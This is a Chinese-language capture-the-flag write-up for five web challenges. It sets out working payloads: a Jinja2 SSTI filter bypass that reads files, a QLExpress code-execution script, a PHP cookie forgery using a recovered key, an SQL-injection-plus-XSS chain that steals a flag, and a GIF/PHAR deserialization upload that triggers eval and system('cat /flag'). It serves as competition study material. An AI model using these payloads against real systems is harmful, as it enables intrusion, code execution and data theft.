
第九届西湖论剑·网络大赛(web篇)解体思路
如果有错误,请大家提醒我
WEB-01 Age Test:Jinja2 SSTI
1. 源码/附件
现有前端文件:
正式赛/Web/_out/web01_home.html
前端会把 nickname POST 到根路径:
function send(){
let nickname = $('#nickname')[0].value;
if(nickname.length > 0){
$.post("/", {'nickname': nickname}, function(data){
$('#msg')[0].innerHTML = '<b>' + data + '</b>';
});
}
}
本地探测记录和脚本:
正式赛/Web/_out/web01.txt
正式赛/Web/_out/web01_rce.txt
正式赛/Web/_out/web01_fmt.txt
正式赛/Web/solve_web01.py
探测确认服务端把 nickname 放进 Jinja2 模板,并检查以下字符或字符串:
空格、单引号、+、.、[、]、_、g、x
{{、}}、flag、config、request、os、class、mro、globals、popen、read
已验证:
{{7*7}} -> Hacker! restricted characters!
{% -> Exception
{%if(1)%}ok{%endif%} -> 可以编译并输出 ok
FlaG -> 普通文本
lipsum -> 普通文本
2. 解题思路
这是 Jinja2 SSTI。过滤器只检查输入中的原始字符,可以使用等价写法绕过:
用 Jinja2 的 filter 和 replace 执行表达式; 用八进制转义隐藏危险字符; 用 attr() 替代点号; 从 lipsum 函数对象取得 globals 和 builtins; 调用 open/read 读取 flag 文件。
关键八进制:
_ -> \137
g -> \147
r -> \162
o -> \157
所以:
__globals__ -> \137\137\147lobals\137\137
__builtins__ -> \137\137builtins\137\137
read -> \162ead
3. Payload
读取 /FlaG:
{%filter replace("A",lipsum|attr("\137\137\147lobals\137\137")|attr("get")("\137\137builtins\137\137")|attr("open")("/FlaG")|attr("\162ead")())%}A{%endfilter%}
利用链:
lipsum
-> __globals__
-> __builtins__
-> open("/FlaG")
-> read()
-> replace("A", 文件内容)
可替换的候选路径:
/FlaG
/FLAG
/flag
/app/FlaG
/proc/self/environ
4. 利用流程/结果
POST /
Content-Type: application/x-www-form-urlencoded
nickname=<URL 编码后的 SSTI Payload>
正常情况下响应中的年龄提示会包含文件内容。提交读文件 Payload 时服务端返回 502,因此 SSTI、过滤绕过和输出原语已确认,但没有取得线上 flag。
WEB-02 QL_again:QLExpress 表达式执行
1. 源码/附件
附件和反编译文件:
正式赛/Web/10741-WEB-02/attachment/QL_again的附件.zip
正式赛/Web/10741-WEB-02/source/jar/
正式赛/Web/10741-WEB-02/source/qlcontroller.javap.txt
正式赛/Web/10741-WEB-02/source/qluntil.javap.txt
正式赛/Web/10741-WEB-02/source/NoNetworkSecurityManager.javap.txt
正式赛/Web/10741-WEB-02/source/Main.javap.txt
Controller:
public String execute(String payload) throws Exception {
String path = org.example.qluntil.getql(payload);
if (path.equals("error")) {
return "error";
}
return org.example.qluntil.executeql(path);
}
payload 处理:
String filename = "/tmp/" + payload.substring(0, 3) + ".txt";
String code = new String(Base64.getDecoder().decode(payload));
FileOutputStream out = new FileOutputStream(filename);
out.write(code.getBytes());
out.close();
return filename;
执行处理:
ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
Set secureMethods = new HashSet();
secureMethods.add(null);
QLExpressRunStrategy.setSecureMethods(secureMethods);
runner.execute(code, new DefaultContext(), null, false, false);
new File(path).delete();
return "success";
网络安全管理器只限制外连,checkPermission 为空:
public void checkConnect(String host, int port) {
if (!host.equals("localhost") && !host.startsWith("127.")) {
throw new SecurityException("Invalid Address:" + host);
}
}
public void checkPermission(java.security.Permission permission) {
}
2. 解题思路
payload 是 Base64 编码的 QLExpress 代码; 原始 payload 的前三个字符会成为临时文件名,因此必须是合法 Base64 字符; execute 返回值被丢弃,不能通过普通表达式返回 flag; QLExpress 黑名单没有覆盖所有文件 API; 使用 Files.readAllBytes 读取 /flag; 通过 Spring RequestContextHolder 获取当前响应对象并手动写回 flag。
3. Payload
原始 QLExpress:
attrs = org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes();
resp = attrs.getResponse();
bytes = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag"));
resp.getWriter().write(new java.lang.String(bytes));
Base64 生成:
import base64
code = r'''attrs = org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes();
resp = attrs.getResponse();
bytes = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag"));
resp.getWriter().write(new java.lang.String(bytes));'''
payload = base64.b64encode(code.encode()).decode()
print(payload)
请求:
GET /execute?payload=<Base64>
或:
POST /execute
Content-Type: application/x-www-form-urlencoded
payload=<Base64>
4. 利用流程/结果
QLExpress 代码
-> Base64
-> /execute
-> 写入 /tmp/xxx.txt
-> ExpressRunner.execute
-> Files.readAllBytes("/flag")
-> response.getWriter().write
本题因实例数达到上限没有启动靶机。路由、Base64 处理、表达式执行、文件读取和响应回显路径已由 Fat JAR 确认,但没有线上验证。
WEB-03 反序列化 Cookie
1. 源码/附件
正式赛/Web/_out/web03_index.php.bin
正式赛/Web/_out/web03_register.php.bin
正式赛/Web/_out/web03_user.php.bin
正式赛/Web/_out/web03_deserialize.php.bin
正式赛/Web/_out/web03_index.html
正式赛/Web/_out/web03_deser.html
正式赛/Web/10750-WEB-03/cookie_decode.txt
正式赛/Web/10750-WEB-03/wp_cookie_admin.txt
正式赛/Web/exp03c.py
页面输出证明服务端会读取反序列化对象:
Hello, AAAAAAAA! Your roles are: user
离线分析得到的正常 PHP 序列化对象:
O:4:"User":2:{s:8:"username";s:8:"AAAAAAAA";s:5:"roles";a:1:{i:0;s:4:"user";}}
2. 解题思路
Cookie 处理链:
PHP serialize
-> 循环加法加密
-> URL encode
-> 再次 URL encode
-> user_info Cookie
使用已知用户名 AAAAAAAA 做已知明文攻击,恢复 32 字节密钥:
aB3$dE5!gH7*jK9&mN0@pQ2#rS4%tU6^
加密公式:
ct[i] = (pt[i] + KEY[i % 32]) % 256
pt[i] = (ct[i] - KEY[i % 32]) % 256
将 roles 从 user 改为 admin 后重新编码即可伪造权限。
3. Payload
伪造对象:
O:4:"User":2:{s:8:"username";s:8:"AAAAAAAA";s:5:"roles";a:1:{i:0;s:5:"admin";}}
注意长度从 s:4 改为 s:5。
Cookie 生成:
from urllib.parse import quote
KEY = b"aB3$dE5!gH7*jK9&mN0@pQ2#rS4%tU6^"
plain = (
b'O:4:"User":2:{s:8:"username";s:8:"AAAAAAAA";'
b's:5:"roles";a:1:{i:0;s:5:"admin";}}'
)
cipher = bytes(
(plain[i] + KEY[i % len(KEY)]) % 256
for i in range(len(plain))
)
cookie = quote(quote(cipher, safe=""), safe="")
print("user_info=" + cookie)
请求:
curl -H "Cookie: user_info=<生成结果>" http://target/deserialize.php
4. 利用流程/结果
已知明文 Cookie
-> 恢复 KEY
-> 伪造 roles=admin
-> 循环加密
-> 双重 URL 编码
-> user_info Cookie
-> /deserialize.php
对象结构、密钥和伪造过程均已离线确认。最终请求时靶机返回 502,未取得线上 flag。
WEB-04 BabyXSS
1. 源码/附件
正式赛/Web/10751-WEB-04/source/inner/src/app.py
正式赛/Web/10751-WEB-04/source/inner/src/bot.py
正式赛/Web/10751-WEB-04/source/inner/src/templates/profile.html
正式赛/Web/10751-WEB-04/source/inner/src/templates/register.html
正式赛/Web/exp04.py
注册源码:
form = RegistrationForm(request.form)
username = form.username.data
password = form.password.data
bio = form.bio.data if form.bio.data else ''
if (not is_valid_input(username)
or not is_valid_input(password)
or not is_valid_input(bio)
or form.validate()):
return redirect(url_for('register'))
c.execute(
f"INSERT INTO users (username, password, bio) "
f"VALUES ('{username}', '{password}', '{bio}')"
)
管理员模板:
{% if username == 'admin' %}{{ bio|safe }}{% else %}{{ bio }}{% endif %}
bot 和 flag:
url = f'http://127.0.0.1:8080/profile/{user_id}'
await page.goto(url)
await asyncio.sleep(3)
if '127.0.0.1' in request.remote_addr:
return (flag, 200)
2. 解题思路
form.validate() 写反,必须构造 WTForms 校验失败的注册请求; SQL 使用 f-string,用户名可以注入 SQLite 表达式; ad'||'min 不含连续 admin,可以绕过黑名单; SQLite 将 ad'||'min 计算为 admin; admin 的 bio 使用 safe,JavaScript 不会被转义; report 启动本地 bot,bot 访问 admin Profile; XSS 从本机 /flag 读取 flag,再写入 leak| 用户的 bio。
3. Payload
注册管理员:
username=ad'||'min
password=123456
bio=<URL 编码后的 XSS>
XSS:
<script>
fetch('/flag')
.then(function(r){return r.text();})
.then(function(t){
fetch('/register',{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'username=leak%7C&password=123456&bio='+encodeURIComponent(t)
});
});
</script>
完整脚本:
正式赛/Web/exp04.py
4. 利用流程/结果
POST /register,username=ad'||'min,bio=<XSS>
-> SQLite 写入 username=admin
POST /login,username=admin,password=123456
-> 得到 admin_id
GET /report/<admin_id>
-> bot 访问 /profile/<admin_id>
-> XSS GET /flag
-> 注册 leak| 并把 flag 写入 bio
登录 leak| 查看 Profile
源码级利用链完整,但本场 WEB-04 没有启动实例,未进行线上验证。
WEB-05 图片上传:GIF/PHAR 反序列化
1. 源码/附件
正式赛/Web/10760-WEB-05/attachment/www.zip
正式赛/Web/10760-WEB-05/source/upload.php
正式赛/Web/10760-WEB-05/source/upload_final.php
正式赛/Web/10760-WEB-05/source/info.php
正式赛/Web/deobf_web05.py
正式赛/Web/mkphar2.py
混淆 upload.php 的解码方式为 Base64、raw deflate、每字节减 1。还原后的核心源码:
class AnyClass
{
var $output = 'echo "ok";';
function __destruct()
{
eval($this->output);
}
}
...
$b = 'uploaded_images/' . $_FILES['image']['name'];
@parse_str($_POST['upload']);
if (file_exists($b)) {
echo "Uploaded successfully";
}
上传只检查扩展名黑名单、大小和 MIME;gif 不在黑名单中,GIF89a 文件头会通过 image/gif 检测。
2. 解题思路
使用 gif 扩展名绕过黑名单; 文件以 GIF89a 开头,通过 MIME 检查; 后面放置 PHAR manifest 和序列化 metadata; parse_str 覆盖变量 b; 让 b 指向 phar://uploaded_images/exp.gif; file_exists 读取 PHAR 并触发 metadata 反序列化; AnyClass 析构函数 eval output,执行读 flag 代码。
3. Payload
PHAR metadata:
O:8:"AnyClass":1:{s:6:"output";s:<长度>:"echo file_get_contents('/flag');";}
执行代码:
echo file_get_contents('/flag');
或:
system("cat /flag /FLAG /FlaG /flag.txt 2>/dev/null");
生成器:
正式赛/Web/mkphar2.py
上传请求:
curl -X POST http://target/upload.php \
-F "image=@exp0.gif;filename=exp.gif" \
--form-string "upload=b=phar://uploaded_images/exp.gif"
4. 利用流程/结果
GIF89a + PHAR manifest
-> 上传 uploaded_images/exp.gif
-> parse_str("b=phar://uploaded_images/exp.gif")
-> $b 被覆盖为 phar://...
-> file_exists($b)
-> metadata 反序列化
-> AnyClass::__destruct()
-> eval($output)
-> 读取 /flag
附件、phpinfo、PHAR 结构和本地生成文件均已确认。上传请求时靶机返回 502,未取得线上 flag。